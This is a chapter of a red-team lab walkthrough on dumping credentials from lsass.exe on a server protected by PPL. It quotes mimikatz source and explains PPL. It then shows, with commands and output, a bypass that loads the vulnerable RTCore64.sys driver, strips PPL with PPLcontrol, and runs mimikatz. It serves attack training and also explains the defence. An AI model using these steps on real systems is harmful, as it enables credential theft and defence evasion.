Saltar a contenido

14

Advancing

Dumping credentials on SRV02

We already dumped credentials on Web01, considering we compromised Srv01 and Srv02. Therefore, we can also dump credentials on Srv02. Will it be the same story as we dumped credentials on Web01?

Note: Note: Some portions could not be easily reproducible; the following steps/examples are intended to showcase a specific case. The pre-compiled PPLcontrol.exe binary would be placed on WEB01, which can be reused.

Having established a shell on SRV01 and further attempting to dump lsass.exe would result in the following behavior.

*Evil-WinRM* PS C:\Users\svc_sql\Documents> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

mimikatz(commandline) # exit
Bye!

We have administrative (SYSTEM) privileges on the machine. Why can't we still dump credentials? Let's check the source code snippet of mimikatz.

NTSTATUS kuhl_m_sekurlsa_acquireLSA() {
  NTSTATUS status = STATUS_SUCCESS;
  KULL_M_MEMORY_TYPE Type;
  HANDLE hData = NULL;
  DWORD pid, cbSk;
  PMINIDUMP_SYSTEM_INFO pInfos;
  DWORD processRights = PROCESS_VM_READ | ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);
  BOOL isError = FALSE;
  PBYTE pSk;

  if (!cLsass.hLsassMem) {
    status = STATUS_NOT_FOUND;
    if (pMinidumpName) {
      Type = KULL_M_MEMORY_TYPE_PROCESS_DMP;
      kprintf(L "Opening : \'%s\' file for minidump...\n", pMinidumpName);
      hData = CreateFile(pMinidumpName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    } else {
      Type = KULL_M_MEMORY_TYPE_PROCESS;
      if (kull_m_process_getProcessIdForName(L "lsass.exe", & pid))
        hData = OpenProcess(processRights, FALSE, pid);
      else PRINT_ERROR(L "LSASS process not found (?)\n");
    }

    **
    if (hData && hData != INVALID_HANDLE_VALUE) ** {
        if (kull_m_memory_open(Type, hData, & cLsass.hLsassMem)) {
          if (Type == KULL_M_MEMORY_TYPE_PROCESS_DMP) {
            if (pInfos = (PMINIDUMP_SYSTEM_INFO) kull_m_minidump_stream(cLsass.hLsassMem -> pHandleProcessDmp -> hMinidump, SystemInfoStream, NULL)) {
              cLsass.osContext.MajorVersion = pInfos -> MajorVersion;
              cLsass.osContext.MinorVersion = pInfos -> MinorVersion;
              cLsass.osContext.BuildNumber = pInfos -> BuildNumber;
              #if defined(_M_X64) || defined(_M_ARM64)
              if (isError = (pInfos -> ProcessorArchitecture != PROCESSOR_ARCHITECTURE_AMD64))
                PRINT_ERROR(L "Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_AMD64 (%u)\n", pInfos -> ProcessorArchitecture, PROCESSOR_ARCHITECTURE_AMD64);
              #elif defined(_M_IX86)
              if (isError = (pInfos -> ProcessorArchitecture != PROCESSOR_ARCHITECTURE_INTEL))
                PRINT_ERROR(L "Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_INTEL (%u)\n", pInfos -> ProcessorArchitecture, PROCESSOR_ARCHITECTURE_INTEL);
              #endif
            } else {
              isError = TRUE;
              PRINT_ERROR(L "Minidump without SystemInfoStream (?)\n");
            }

            if (pSk = (PBYTE) kull_m_minidump_stream(cLsass.hLsassMem -> pHandleProcessDmp -> hMinidump, (MINIDUMP_STREAM_TYPE) 0x1337, & cbSk)) {
              kprintf(L " > SecureKernel stream found in minidump (%u bytes)\n", cbSk);
              pid = kuhl_m_sekurlsa_sk_search(pSk, cbSk, TRUE);
              kprintf(L " %u candidate keys found\n", pid);
            }
          } else {
            #if defined(_M_IX86)
            if (IsWow64Process(GetCurrentProcess(), & isError) && isError)
              PRINT_ERROR(MIMIKATZ L " "
                MIMIKATZ_ARCH L " cannot access x64 process\n");
            else
              #endif {
                cLsass.osContext.MajorVersion = MIMIKATZ_NT_MAJOR_VERSION;
                cLsass.osContext.MinorVersion = MIMIKATZ_NT_MINOR_VERSION;
                cLsass.osContext.BuildNumber = MIMIKATZ_NT_BUILD_NUMBER;
              }
          }

          if (!isError) {
            lsassLocalHelper =
              #if defined(_M_ARM64) &
              lsassLocalHelpers[0]
            #else
              (cLsass.osContext.MajorVersion < 6) ? & lsassLocalHelpers[0] : & lsassLocalHelpers[1]
            #endif
            ;

            if (NT_SUCCESS(lsassLocalHelper -> initLocalLib())) {
              #if!defined(_M_ARM64)
              kuhl_m_sekurlsa_livessp_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8);
              #endif
              kuhl_m_sekurlsa_tspkg_package.isValid = (cLsass.osContext.MajorVersion >= 6) || (cLsass.osContext.MinorVersion < 2);
              kuhl_m_sekurlsa_cloudap_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_BUILD_10_1909);
              if (NT_SUCCESS(kull_m_process_getVeryBasicModuleInformations(cLsass.hLsassMem, kuhl_m_sekurlsa_findlibs, NULL)) && kuhl_m_sekurlsa_msv_package.Module.isPresent) {
                kuhl_m_sekurlsa_dpapi_lsa_package.Module = kuhl_m_sekurlsa_msv_package.Module;
                if (kuhl_m_sekurlsa_utils_search( & cLsass, & kuhl_m_sekurlsa_msv_package.Module)) {
                  status = lsassLocalHelper -> AcquireKeys( & cLsass, & lsassPackages[0] -> Module.Informations);
                  if (!NT_SUCCESS(status))
                    PRINT_ERROR(L "Key import\n");
                } else PRINT_ERROR(L "Logon list\n");
              } else PRINT_ERROR(L "Modules informations\n");
            } else PRINT_ERROR(L "Local LSA library failed\n");
          }
        } else PRINT_ERROR(L "Memory opening\n");

        if (!NT_SUCCESS(status))
          CloseHandle(hData);
      } **
      else PRINT_ERROR_AUTO(L "Handle on memory"); **

    if (!NT_SUCCESS(status))
      cLsass.hLsassMem = kull_m_memory_close(cLsass.hLsassMem);
  }
  return status;
}

Inspect line 25, line 29, and line 113; we can infer that OpenProcess did not successfully access lsass.exe, even with administrative (SYSTEM) privilege; this is due to PPL.

Line 25: hData = OpenProcess(processRights, FALSE, pid);
Line 29: if(hData && hData != INVALID_HANDLE_VALUE)
Line 113: else PRINT_ERROR_AUTO(L"Handle on memory");

As dumping lsass.exe is abused heavily by threat actors, Microsoft took actions to defend against such attacks, such as PPL (Protected Process Light). PPL is easy to configure for system administrators or security engineers and a quick win. While PPL can still be bypassed, at least it adds additional difficulty and steps for attackers to dump credentials. Windows has four integrity levels, and PPL has a higher level than SYSTEM; therefore, even SYSTEM privilege cannot access PPL-protected processes, and lsass supports PPL. We can enable PPL by adding RunAsPPL at the following location in the registry.

image

For a computer with PPL enabled, such as Srv02, we will get that error if we try to dump credentials from lsass.exe. However, PPL can still be bypassed. Mimikatz driver mimidrv.sys can be used to remove the PPL protection of process lsass.exe. After that, attackers can dump the credentials.

However, nowadays, mimidrv.sys is also flagged by AV/EDR software. We can build our own driver and sign it. Sounds difficult? We can also leverage vulnerable signed drivers with vulnerabilities to execute arbitrary code, such as RTCore64.sys (signed by MICRO-STAR), ProcExp152.sys (signed by Microsoft), etc.

Some recent tools such as EDRSandblast (https://github.com/wavestone-cdt/EDRSandblast), PPLControl (https://github.com/itm4n/PPLcontrol), and RToolZ (https://github.com/OmriBaso/RToolZ) can abuse a vulnerable driver to remove PPL.

Let's download a vulnerable driver, RTCore64.sys from https://github.com/RedCursorSecurityConsulting/PPLKiller/blob/master/driver/RTCore64.sys and build PPLControl. Execute the following commands to load the driver:

*Evil-WinRM* PS C:\Users\svc_sql\Documents> sc.exe create RTCore64 type= kernel start= auto binPath= C:\Users\svc_sql\Documents\RTCore64.sys DisplayName= "control"
[SC] CreateService SUCCESS

*Evil-WinRM* PS C:\Users\svc_sql\Documents> net start RTCore64

The control service was started successfully.

*Evil-WinRM* PS C:\Users\svc_sql\Documents> .\PPLcontrol.exe list

   PID  |  Level  |     Signer      |     EXE sig. level    |     DLL sig. level    |    Kernel addr.
 -------+---------+-----------------+-----------------------+-----------------------+--------------------
      4 | PP  (2) | WinSystem   (7) | WindowsTcb     (0x1e) | Windows        (0x1c) | 0xffff8d0cfa680080
     88 | PP  (2) | WinSystem   (7) | Unchecked      (0x00) | Unchecked      (0x00) | 0xffff8d0cfa68d080
    296 | PPL (1) | WinTcb      (6) | WindowsTcb     (0x3e) | Windows        (0x0c) | 0xffff8d0cfe9ac0c0
    400 | PPL (1) | WinTcb      (6) | WindowsTcb     (0x3e) | Windows        (0x0c) | 0xffff8d0cfa682080
    504 | PPL (1) | WinTcb      (6) | WindowsTcb     (0x3e) | Windows        (0x0c) | 0xffff8d0cfeb390c0
    512 | PPL (1) | WinTcb      (6) | WindowsTcb     (0x3e) | Windows        (0x0c) | 0xffff8d0cfeb11240
    640 | PPL (1) | WinTcb      (6) | WindowsTcb     (0x3e) | Windows        (0x0c) | 0xffff8d0cff7c3380
    656 | PPL (1) | Lsa         (4) | Windows        (0x3c) | Microsoft      (0x08) | 0xffff8d0cfec390c0
    352 | PPL (1) | Windows     (5) | Windows        (0x3c) | Windows        (0x0c) | 0xffff8d0cfebbd0c0
   3104 | PPL (1) | Antimalware (3) | Antimalware    (0x37) | Microsoft      (0x08) | 0xffff8d0d005fe080
   4092 | PP  (2) | Windows     (5) | Windows        (0x1c) | Windows        (0x1c) | 0xffff8d0d00b88080
   3244 | PPL (1) | Windows     (5) | Windows        (0x3c) | Windows        (0x0c) | 0xffff8d0d00bb5080
   5684 | PPL (1) | Windows     (5) | Windows        (0x3c) | Windows        (0x0c) | 0xffff8d0d009e0080

[+] Enumerated 13 protected processes.

*Evil-WinRM* PS C:\Users\svc_sql\Documents> .\PPLcontrol.exe unprotect 656
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.1.13:5985  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.1.13:5985  ...  OK
[+] The process with PID 656 is no longer a PP(L).

Once we have unprotected the process related to Lsa, we can successfully dump credentials from lsass.exe:

*Evil-WinRM* PS C:\Users\svc_sql\Documents> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.1.13:5985  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.1.13:5985  ...  OK

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 135036 (00000000:00020f7c)
Session           : Service from 0
User Name         : SSISTELEMETRY150
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 11/29/2023 5:55:19 AM
SID               : S-1-5-80-2575449109-2369498003-86869817-2770163484-1998650617
<SNIP>